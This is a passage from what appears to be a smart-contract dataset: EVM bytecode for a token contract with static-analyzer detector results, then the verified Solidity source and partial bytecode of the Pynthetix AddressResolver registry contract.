ffffffffffffffffff16815260200191505060405180910390f35b34156104f657600080fd5b6104fe611726565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053e578082015181840152602081019050610523565b50505050905090810190601f16801561056b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561058457600080fd5b6105b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506117ce565b005b6105c36109ad565b005b34156105d057600080fd5b610605600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061193d565b604051808215151515815260200191505060405180910390f35b341561062a57600080fd5b610656600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ad7565b604051808215151515815260200191505060405180910390f35b341561067b57600080fd5b6106f3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611af7565b604051808215151515815260200191505060405180910390f35b341561071857600080fd5b6107706004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080351515906020019091905050611c88565b005b341561077d57600080fd5b6107a9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e2a565b6040518082815260200191505060405180910390f35b34156107ca57600080fd5b6107e06004808035906020019091905050611e42565b005b34156107ed57600080fd5b61087a60048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611ea8565b604051808215151515815260200191505060405180910390f35b341561089f57600080fd5b6108cb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612355565b005b34156108d857600080fd5b610993600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506124ad565b604051808215151515815260200191505060405180910390f35b60006007541180156109eb57506007546109e8600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166115ef565b10155b8015610a47575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610a915750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515610a9c57600080fd5b6000341115610b0857600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515610b0757600080fd5b5b610b7560096000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460075461299f565b60096000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c25600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007546129b8565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040518082815260200191505060405180910390a3565b600860009054906101000a900460ff1681565b610d0e612f3a565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610da45780601f10610d7957610100808354040283529160200191610da4565b820191906000526020600020905b815481529060010190602001808311610d8757829003601f168201915b5050505050905090565b6000600654905090565b60008060008084118015610dcd575060008551115b8015610e29575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610e735750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515610e7e57600080fd5b610e8c846305f5e1006129d6565b9350610e998486516129d6565b915081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610ee957600080fd5b600090505b845181101561114b5760008582815181101515610f0757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614158015610f9c575060001515600a60008784815181101515610f4657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610ffd5750600b60008683815181101515610fb557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561100857600080fd5b61106860096000878481518110151561101d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856129b8565b60096000878481518110151561107a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084818151811015156110d057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a38080600101915050610eee565b611194600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361299f565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b6000600460009054906101000a900460ff16905090565b60055481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125e57600080fd5b600860009054906101000a900460ff1615151561127a57600080fd5b60008211151561128957600080fd5b611295600654836129b8565b6006819055506112e4600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836129b8565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60075481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561144957600080fd5b6000835111801561145b575081518351145b151561146657600080fd5b600090505b82518110156115ea57818181518110151561148257fe5b90602001906020020151600b6000858481518110151561149e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156114ef57600080fd5b81818151811015156114fd57fe5b90602001906020020151600b6000858481518110151561151957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110151561156f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c157783838151811015156115be57fe5b906020019060200201516040518082815260200191505060405180910390a2808060010191505061146b565b505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561169657600080fd5b600860009054906101000a900460ff161515156116b257600080fd5b6001600860006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61172e612f3a565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117c45780601f10611799576101008083540402835291602001916117c4565b820191906000526020600020905b8154815290600101906020018083116117a757829003601f168201915b5050505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561182a57600080fd5b60008111801561184257508061183f836115ef565b10155b151561184d57600080fd5b611896600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261299f565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118e56006548261299f565b6006819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b6000611947612f4e565b6000831180156119a7575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611a03575060001515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611a4d5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611a975750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611aa257600080fd5b611aab84612a11565b15611ac257611abb848483612a24565b9150611ad0565b611acd848483612d41565b91505b5092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008083118015611b58575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611bb4575060001515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611bfe5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611c485750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611c5357600080fd5b611c5c84612a11565b15611c7357611c6c848484612a24565b9050611c81565b611c7e848484612d41565b90505b9392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ce657600080fd5b60008351111515611cf657600080fd5b600090505b8251811015611e255760008382815181101515611d1457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515611d4157600080fd5b81600a60008584815181101515611d5457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508281815181101515611dbd57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a28080600101915050611cfb565b505050565b600b6020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e9e57600080fd5b8060078190555050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f0957600080fd5b60008551118015611f1b575083518551145b1515611f2657600080fd5b60009150600090505b84518110156122bd5760008482815181101515611f4857fe5b90602001906020020151118015611f8d575060008582815181101515611f6a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614155b8015612000575060001515600a60008784815181101515611faa57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156120615750600b6000868381518110151561201957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561206c57600080fd5b612091848281518110151561207d57fe5b906020019060200201516305f5e1006129d6565b848281518110151561209f57fe5b906020019060200201818152505083818151811015156120bb57fe5b906020019060200201516009600087848151811015156120d757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561212957600080fd5b6121a060096000878481518110151561213e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858381518110151561219157fe5b9060200190602002015161299f565b6009600087848151811015156121b257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061221b82858381518110151561220c57fe5b906020019060200201516129b8565b91503373ffffffffffffffffffffffffffffffffffffffff16858281518110151561224257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef868481518110151561229157fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050611f2f565b612306600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836129b8565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123b157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156123ed57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808411801561250e575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b801561256a575060001515600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156125b45750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b80156125fe5750600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561260957600080fd5b61261285612a11565b156129895783612621336115ef565b101561262c57600080fd5b61263e612638336115ef565b8561299f565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061269361268d866115ef565b856129b8565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b6020831015156127255780518252602082019150602081019050602083039250612700565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b838110156128065780820151818401526020810190506127eb565b50505050905090810190601f1680156128335780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af19350505050151561285357fe5b826040518082805190602001908083835b6020831015156128895780518252602082019150602081019050602083039250612864565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019050612997565b612994858585612d41565b90505b949350505050565b60008282111515156129ad57fe5b818303905092915050565b60008082840190508381101515156129cc57fe5b8091505092915050565b60008060008414156129eb5760009150612a0a565b82840290508284828115156129fc57fe5b04141515612a0657fe5b8091505b5092915050565b600080823b905060008111915050919050565b60008083612a31336115ef565b1015612a3c57600080fd5b612a4e612a48336115ef565b8561299f565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612aa3612a9d866115ef565b856129b8565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612bab578082015181840152602081019050612b90565b50505050905090810190601f168015612bd85780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515612bf857600080fd5b5af11515612c0557600080fd5b505050826040518082805190602001908083835b602083101515612c3e5780518252602082019150602081019050602083039250612c19565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b600082612d4d336115ef565b1015612d5857600080fd5b612d6a612d64336115ef565b8461299f565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dbf612db9856115ef565b846129b8565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b602083101515612e385780518252602082019150602081019050602083039250612e13565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a723058209c1cbe1549c7963a8eb9ad1ef83b4f191e366f687f175dfaebdd8c1c6cb1d3ab0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 5,101 |
0x408a90A4dB6318B1EE4da5c0aCc9ec8E156980DF
|
/**
*Submitted for verification at Etherscan.io on 2021-02-24
*/
/*
* Pynthetix: AddressResolver.sol
*
* Latest source (may be newer): https://github.com/Pynthetixio/pynthetix/blob/master/contracts/AddressResolver.sol
* Docs: https://docs.pynthetix.io/contracts/AddressResolver
*
* Contract Dependencies:
* - IAddressResolver
* - Owned
* Libraries: (none)
*
* MIT License
* ===========
*
* Copyright (c) 2021 Pynthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.16;
// https://docs.pynthetix.io/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// https://docs.pynthetix.io/contracts/source/interfaces/iaddressresolver
interface IAddressResolver {
function getAddress(bytes32 name) external view returns (address);
function getPynth(bytes32 key) external view returns (address);
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address);
}
// https://docs.pynthetix.io/contracts/source/interfaces/ipynth
interface IPynth {
// Views
function currencyKey() external view returns (bytes32);
function transferablePynths(address account) external view returns (uint);
// Mutative functions
function transferAndSettle(address to, uint value) external returns (bool);
function transferFromAndSettle(
address from,
address to,
uint value
) external returns (bool);
// Restricted: used internally to Pynthetix
function burn(address account, uint amount) external;
function issue(address account, uint amount) external;
}
// https://docs.pynthetix.io/contracts/source/interfaces/iissuer
interface IIssuer {
// Views
function anyPynthOrPERIRateIsInvalid() external view returns (bool anyRateInvalid);
function availableCurrencyKeys() external view returns (bytes32[] memory);
function availablePynthCount() external view returns (uint);
function availablePynths(uint index) external view returns (IPynth);
function canBurnPynths(address account) external view returns (bool);
function collateral(address account) external view returns (uint);
function collateralisationRatio(address issuer) external view returns (uint);
function collateralisationRatioAndAnyRatesInvalid(address _issuer)
external
view
returns (uint cratio, bool anyRateIsInvalid);
function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance);
function issuanceRatio() external view returns (uint);
function lastIssueEvent(address account) external view returns (uint);
function maxIssuablePynths(address issuer) external view returns (uint maxIssuable);
function minimumStakeTime() external view returns (uint);
function remainingIssuablePynths(address issuer)
external
view
returns (
uint maxIssuable,
uint alreadyIssued,
uint totalSystemDebt
);
function pynths(bytes32 currencyKey) external view returns (IPynth);
function getPynths(bytes32[] calldata currencyKeys) external view returns (IPynth[] memory);
function pynthsByAddress(address pynthAddress) external view returns (bytes32);
function totalIssuedPynths(bytes32 currencyKey, bool excludeEtherCollateral) external view returns (uint);
function transferablePynthetixAndAnyRateIsInvalid(address account, uint balance)
external
view
returns (uint transferable, bool anyRateIsInvalid);
// Restricted: used internally to Pynthetix
function issuePynths(address from, uint amount) external;
function issuePynthsOnBehalf(
address issueFor,
address from,
uint amount
) external;
function issueMaxPynths(address from) external;
function issueMaxPynthsOnBehalf(address issueFor, address from) external;
function burnPynths(address from, uint amount) external;
function burnPynthsOnBehalf(
address burnForAddress,
address from,
uint amount
) external;
function burnPynthsToTarget(address from) external;
function burnPynthsToTargetOnBehalf(address burnForAddress, address from) external;
function liquidateDelinquentAccount(
address account,
uint susdAmount,
address liquidator
) external returns (uint totalRedeemed, uint amountToLiquidate);
}
// solhint-disable payable-fallback
// https://docs.pynthetix.io/contracts/source/contracts/readproxy
contract ReadProxy is Owned {
address public target;
constructor(address _owner) public Owned(_owner) {}
function setTarget(address _target) external onlyOwner {
target = _target;
emit TargetUpdated(target);
}
function() external {
// The basics of a proxy read call
// Note that msg.sender in the underlying will always be the address of this contract.
assembly {
calldatacopy(0, 0, calldatasize)
// Use of staticcall - this will revert if the underlying function mutates state
let result := staticcall(gas, sload(target_slot), 0, calldatasize, 0, 0)
returndatacopy(0, 0, returndatasize)
if iszero(result) {
revert(0, returndatasize)
}
return(0, returndatasize)
}
}
event TargetUpdated(address newTarget);
}
// Inheritance
// Internal references
// https://docs.pynthetix.io/contracts/source/contracts/mixinresolver
contract MixinResolver {
AddressResolver public resolver;
mapping(bytes32 => address) private addressCache;
constructor(address _resolver) internal {
resolver = AddressResolver(_resolver);
}
/* ========== INTERNAL FUNCTIONS ========== */
function combineArrays(bytes32[] memory first, bytes32[] memory second)
internal
pure
returns (bytes32[] memory combination)
{
combination = new bytes32[](first.length + second.length);
for (uint i = 0; i < first.length; i++) {
combination[i] = first[i];
}
for (uint j = 0; j < second.length; j++) {
combination[first.length + j] = second[j];
}
}
/* ========== PUBLIC FUNCTIONS ========== */
// Note: this function is public not external in order for it to be overridden and invoked via super in subclasses
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {}
function rebuildCache() public {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
// The resolver must call this function whenver it updates its state
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// Note: can only be invoked once the resolver has all the targets needed added
address destination = resolver.requireAndGetAddress(
name,
string(abi.encodePacked("Resolver missing target: ", name))
);
addressCache[name] = destination;
emit CacheUpdated(name, destination);
}
}
/* ========== VIEWS ========== */
function isResolverCached() external view returns (bool) {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// false if our cache is invalid or if the resolver doesn't have the required address
if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) {
return false;
}
}
return true;
}
/* ========== INTERNAL FUNCTIONS ========== */
function requireAndGetAddress(bytes32 name) internal view returns (address) {
address _foundAddress = addressCache[name];
require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name)));
return _foundAddress;
}
/* ========== EVENTS ========== */
event CacheUpdated(bytes32 name, address destination);
}
// Inheritance
// Internal references
// https://docs.pynthetix.io/contracts/source/contracts/addressresolver
contract AddressResolver is Owned, IAddressResolver {
mapping(bytes32 => address) public repository;
constructor(address _owner) public Owned(_owner) {}
/* ========== RESTRICTED FUNCTIONS ========== */
function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner {
require(names.length == destinations.length, "Input lengths must match");
for (uint i = 0; i < names.length; i++) {
bytes32 name = names[i];
address destination = destinations[i];
repository[name] = destination;
emit AddressImported(name, destination);
}
}
/* ========= PUBLIC FUNCTIONS ========== */
function rebuildCaches(MixinResolver[] calldata destinations) external {
for (uint i = 0; i < destinations.length; i++) {
destinations[i].rebuildCache();
}
}
/* ========== VIEWS ========== */
function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) {
for (uint i = 0; i < names.length; i++) {
if (repository[names[i]] != destinations[i]) {
return false;
}
}
return true;
}
function getAddress(bytes32 name) external view returns (address) {
return repository[name];
}
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) {
address _foundAddress = repository[name];
require(_foundAddress != address(0), reason);
return _foundAddress;
}
function getPynth(bytes32 key) external view returns (address) {
IIssuer issuer = IIssuer(repository["Issuer"]);
require(address(issuer) != address(0), "Cannot find Issuer address");
return address(issuer.pynths(key));
}
/* ========== EVENTS ========== */
event AddressImported(bytes32 name, address destination);
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806379ba50971161007157806379ba5097146101a257806382b4c11c146101aa5780638da5cb5b146101c75780639f42102f146101cf578063ab0b8f77146102a1578063dacb2d011461035f576100a9565b80631627540c146100ae578063187f7935146100d657806321f8a7211461010f57806353a47bb71461012c578063766f781514610134575b600080fd5b6100d4600480360360208110156100c457600080fd5b50356001600160a01b03166103d4565b005b6100f3600480360360208110156100ec57600080fd5b5035610430565b604080516001600160a01b039092168252519081900360200190f35b6100f36004803603602081101561012557600080fd5b503561044b565b6100f3610466565b6100d46004803603602081101561014a57600080fd5b810190602081018135600160201b81111561016457600080fd5b82018360208201111561017657600080fd5b803590602001918460208302840111600160201b8311171561019757600080fd5b509092509050610475565b6100d46104ff565b6100f3600480360360208110156101c057600080fd5b50356105bb565b6100f36106c3565b61028d600480360360408110156101e557600080fd5b810190602081018135600160201b8111156101ff57600080fd5b82018360208201111561021157600080fd5b803590602001918460208302840111600160201b8311171561023257600080fd5b919390929091602081019035600160201b81111561024f57600080fd5b82018360208201111561026157600080fd5b803590602001918460208302840111600160201b8311171561028257600080fd5b5090925090506106d2565b604080519115158252519081900360200190f35b6100d4600480360360408110156102b757600080fd5b810190602081018135600160201b8111156102d157600080fd5b8201836020820111156102e357600080fd5b803590602001918460208302840111600160201b8311171561030457600080fd5b91939092909160